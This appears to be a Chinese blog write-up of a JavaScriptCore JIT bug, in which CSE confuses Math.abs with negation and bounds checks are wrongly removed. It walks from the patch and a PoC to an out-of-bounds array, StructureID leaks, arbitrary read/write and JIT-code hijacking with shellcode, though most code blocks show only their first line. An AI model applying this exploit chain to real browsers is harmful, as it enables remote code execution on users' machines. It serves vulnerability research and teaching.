文章首发于安全KER https://www.anquanke.com/post/id/245946
0x00 前言
编译器优化中有一项CSE(公共子表达式消除),如果JS引擎在执行时类型收集的不正确,将导致表达式被错误的消除引发类型混淆。
0x01 前置知识
CSE
公共子表达式消除即为了去掉那些相同的重复计算,使用代数变换将表达式替换,并删除多余的表达式,如
1 | let c = Math.sqrt(a*a + a*a); |
将被优化为
1 | let tmp = a*a; |
这样就节省了一次乘法,现在我们来看下列代码
1 | let c = o.a; |
由于在两个表达式之间多了一个f()函数的调用,而函数中很有可能改变.a的值或者类型,因此这两个公共子表达式不能直接消除,编译器会收集o.a的类型信息,并跟踪f函数,收集信息,如果到f分析完毕,o.a的类型也没有改变,那么let d = o.a;就可以不用再次检查o.a的类型。
在JSC中,CSE优化需要考虑的信息在Source/JavaScriptCore/dfg/DFGClobberize.h中被定义,从文件路径可以知道,这是一个在DFG阶段的相关优化,文件中有一个clobberize函数,
1 | template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor> |
clobberize函数中的def操作定义了CSE优化时需要考虑的因素,例如上面的def(PureValue(node, node->cellOperand()->cell()));,如果要对CompareEqPtr运算进行CSE优化,需要考虑的因素除了value本身的值,还需要的是Operand(操作数)的类型(cell)。
边界检查消除
与V8的checkbounds消除类似,当数组的下标分析确定在数组的大小范围之内,则可以消除边界检查,但如果编译器本身的检查方式出现溢出等问题,编译器认为idx在范围之内而实际则可能不在范围内,错误的消除边界检查将导致数组溢出。
为了研究JSC在什么条件下可以消除边界检查,我们使用如下代码进行测试调试
1 | function foo(arr,idx) { |
给print的函数断点用于中断脚本以进行调试b *printInternal,运行时加上-p选项将优化时的数据输出为json,从json文件中,我们看到foo函数的字节码
1 | [ 0] enter |
其中[ 39] get_by_val loc6, arg1, arg2用于从数组中取出数据,在DFG JIT时,其展开的汇编代码为
1 | 0x7fffaf101fa3: mov $0x7fffaef0bb48, %r11 |
其中的
1 | 0x7fffaf101fce: cmp -0x8(%rdx), %esi |
用于检查下标是否越界,可见DFG JIT阶段并不会去除边界检查,尽管我们在代码中使用了if语句将idx限定在了数组的长度范围之内。边界检查去除表现在FTL JIT的汇编代码中,从json文件中可以看到FTL JIT时,对字节码字节码[ 39] get_by_val loc6, arg1, arg2的展开如下
1 | D@86:<!0:-> ExitOK(MustGen, W:SideState, bc#39, ExitValid) |
从中可以看到 GetByVal中传递的参数中含有InBounds标记,那么其汇编代码中将不会检查下标是否越界,因为前面已经确定下标在范围内。为了查看FTL JIT生成的汇编代码,我们使用gdb调试,遇到print语句时会断点停下
此时,我们对butterfly中对应的位置下一个硬件读断点,然后继续运行
1 | pwndbg> rwatch *0x7ff803ee4018 |
然后断点断下
1 | 0x7fffaf101b9c movabs r11, 0x7fffaef000dc |
我们发现这仍然存在cmp esi, dword ptr [rdx - 8]检查了下标,这是由于FTL JIT是延迟优化的,可能还没优化过来,我们按照前面的步骤重新试一下
1 | 0x7fffaf1039fa mov eax, 0xa |
发现这次,边界检查被去除了,为了查看更多的代码片段,我们使用gdb的dump命令将这段代码dump出来用IDA分析
1 | pwndbg> vmmap 0x7fffaf103a0a |

可以看到语句
1 | if (idx & 0x3) { |
执行完毕后,无需再一次检查idx < arr.length,因为这是一个减法操作,正常情况下idx减去一个正数肯定会变小,小于arr.length,因此就去掉了边界检查。
0x02 漏洞分析利用
patch分析
1 | diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h |
该patch修复了漏洞,从patch中可以知道,这原本是一个跟CSE优化有关的漏洞,patch中加入了node->arithMode()参数,那么在CSE优化时,不仅要考虑操作数的值,还要考虑算术运算中出现的溢出等因素,即使最终的值一样,如果其中一个表达式是溢出的,也不能进行CSE优化。
POC构造
首先从patch可以知道,修改的内容分别在ArithAbs和ArithNegate分支,它们分别对应了JS中的Math.abs和-运算。
尝试构造如下代码
1 | function foo(n) { |
foo部分字节码如下
1 | [ 17] negate loc7, arg1, 126 |
分别代表了-n和Math.abs(n);,在DFG JIT阶段,其展开为如下
1 | [ 17] |
在FTL JIT阶段,代码变化如下
1 | [ 17] |
可以看到ArithAbs被去除了,这就是漏洞所在,ArithAbs与ArithNegate的不同点在于,ArithNegate不检查溢出,而ArithAbs会检查溢出,因此对于0x80000000这个值,-0x80000000值仍然为-0x80000000,是一个32位数据,而Math.abs(-0x80000000)将扩展位数,值为0x80000000。显然编译器没有察觉到这一点,将ArithAbs与ArithNegate认为是公共子表达式,于是便可以进行互相替换。
因此构造的POC如下
1 | function foo(n) { |
程序输出如下
1 | .............. |
可以看到,这个值并不是Math.abs(-0x80000000)的准确值。
OOB数组构造
利用边界检查消除来进行数组的溢出
1 | function foo(arr,n) { |
因为编译器的错误优化,idx是一个32位数,那么idx < arr.length的检查通过,那么后续的return arr[idx]; //溢出将不会检查右边界,因此可以溢出数据。通过测试,发现POC有时可以成功溢出,有时不能
1 | root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js |
这是因为漏洞最终发生在FTL JIT,这个是延迟优化的,可能在执行最后的debug(foo(arr,-0x80000000));还没生成好JIT代码,因此具有微小的随机性,不影响漏洞利用。为了查看FTL JIT的汇编代码,我们使用前面介绍的方法,对arr的butterfly下硬件断点,然后停下时将代码片段dump出来
1 | seg000:00007FFFAF10346F mov ecx, eax |
从中可以看出,上述汇编代码正好印证了我们前面的分析,neg ecx代表了Math.abs(),然后cmp ecx, [rdx-8]比较右边界,但由于ecx是32位,0x80000000比较通过,然后
1 | seg000:00007FFFAF1034E8 mov rcx, 0FFFFFFFF80000003h |
使得ecx为3,最后通过
1 | seg000:00007FFFAF1034C0 mov eax, ecx |
进行数组溢出读取数据。那么我们可以用同样的方法,越界写改写下一个数组对象butterfly中的length和capacity,从而构造一个oob的数组对象。首先要在内存上布局三个相邻的数组对象
1 | arr0 ArrayWithDouble, |
通过arr0溢出改写arr1的length和capacity,即可将arr1构造为oob的数组
1 | var arr = [1.1,2.2,3.3]; |
发现三个数组的butterfly不相邻,并且类型不大对
1 | --> Object: 0x7fffef1a83e8 with butterfly 0x7fe00cee4010 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049 |
前两个类型为CopyOnWriteArrayWithDouble,导致它们与arr2的butterfly 不相邻,于是尝试这样构造
1 | let noCow = 13.37; |
这回就相邻了,然后我们利用前面的漏洞构造oob数组
1 | function foo(arr,n) { |
输出如下,需要多次尝试,原因前面说过
1 | root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js |
利用oob_arr和obj_arr即可轻松构造出addressOf和fakeObject原语
泄露StructureID
getByVal
在新版的JSC中,加入了StructureID随机化机制,使得我们前面介绍的喷射对象,并猜测StructureID的方法变得困难,成功率极大降低。因此需要使用其他方法,一种方法是利用getByVal,
1 | static ALWAYS_INLINE JSValue getByVal(VM& vm, JSGlobalObject* globalObject, CodeBlock* codeBlock, JSValue baseValue, JSValue subscript, OpGetByVal bytecode) |
其中canGetIndexQuickly源码如下
1 | bool canGetIndexQuickly(unsigned i) const |
getIndexQuickly代码如下
1 | JSValue getIndexQuickly(unsigned i) const |
从上面可以知道getIndexQuickly这条路径不会使用到StructureID,那么如何触发getByVal呢?经过测试,发现对不是数组类型的对象,使用[]运算符可以触发到getByVal
1 | var a = {x:1}; |
因此,我们可以尝试构造一个假的StructureID,使得它匹配StructureID时发现不是数组类型,就可以调用到getByVal
1 | var arr_leak = new Array(noCow,2.2,3.3); |
调试如下
baseValue.isObject()判断通过,将进入分支
1 | ► 962 } else if (baseValue.isObject()) { |
接下来,我们跟踪进入canGetIndexQuickly函数
1 | In file: /home/sea/Desktop/WebKit/Source/JavaScriptCore/runtime/JSObject.h |
这里获取了容量,如果i在长度范围之内,则返回true,即可成功取得数据。由于这里我们是将arr_leak这个对象当成了butterfly,因此容量也就是&arr_leak-0x4处的数据,即
1 | pwndbg> x /2wx 0x7fffef1613e8-0x8 |
与32767对应上了。由此我们看出,这种方法的条件是&arr_leak-0x4处的数据要大于0即可,因此可以在内存布局的时候在arr_leak前面布置一个数组并用数据填充。如果不在前面布局一个数组用于填充,则利用程序将受到随机化的影响而不稳定。
Function.prototype.toString.call
另一个方法是通过toString() 函数的调用链来实现任意地址读数据,主要就是伪造调用链中的结构,最终使得identifier指向需要泄露的地址处,然后使用Function.prototype.toString.call获得任意地址处的数据,可参考文章
1 | function leak_structureID2(obj) { |
任意地址读写原语
在泄露了StructureID以后,就可以伪造数组对象进行任意地址读写了
1 | var structureID = leak_structureID2(arr_leak); |
劫持JIT编译的代码
1 | var shellcodeFunc = getJITFunction(); |
这里,我们使用ByteToDwordArray将shellcode转为6字节有效数据每个的数组,这样是为了在write64时能一次写入6个有效数据,减少for(let i=0; i<sc.length; i++)的次数,避免write64被JIT编译,否则会报错崩溃,原因是因为我们伪造的对象未通过编译时的某些检查,但这不影响我们漏洞利用。
结果展示
0x03 感想
通过本次研究学习,理解了JSC的边界检查消除机制,同时也对JSC中的CSE有了一些了解,其与V8之间也非常的相似。
0x04 参考
FireShell2020——从一道ctf题入门jsc利用
WebKit Commitdiff
eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods
JITSploitation I:JIT编译器漏洞分析
Project Zero: JITSploitation I: A JIT Bug